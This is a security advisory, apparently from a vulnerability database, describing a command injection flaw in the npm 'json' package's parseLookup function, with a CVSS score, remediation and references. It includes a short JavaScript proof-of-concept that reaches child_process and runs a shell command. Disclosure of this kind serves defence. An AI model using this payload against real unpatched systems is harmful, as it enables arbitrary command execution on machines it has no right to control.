Risk Scores
CVSS v3.1
7.199999809265137
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H/E:P
Affected Products
| Vendor | Product | Versions |
|---|---|---|
| 0 |
Timeline
- Aug 6, 2020 CVE Updated
- Aug 30, 2020 CVE Published
## Overview [json](https://www.npmjs.com/package/json) is a 'json' command tool for massaging and processing JSON on the command line. Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbritary commands using the `parseLookup` function. ### PoC ``` const json = require('json'); res = json.parseLookup('{[this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString()]}'); console.log(res); ``` ## Remediation Upgrade `json` to version 10.0.0 or higher. ## References - [GitHub Issue](https://github.com/trentm/json/issues/144) - [GitHub PR](https://github.com/trentm/json/pull/145)
| Vendor | Product | Versions |
|---|---|---|
| 0 |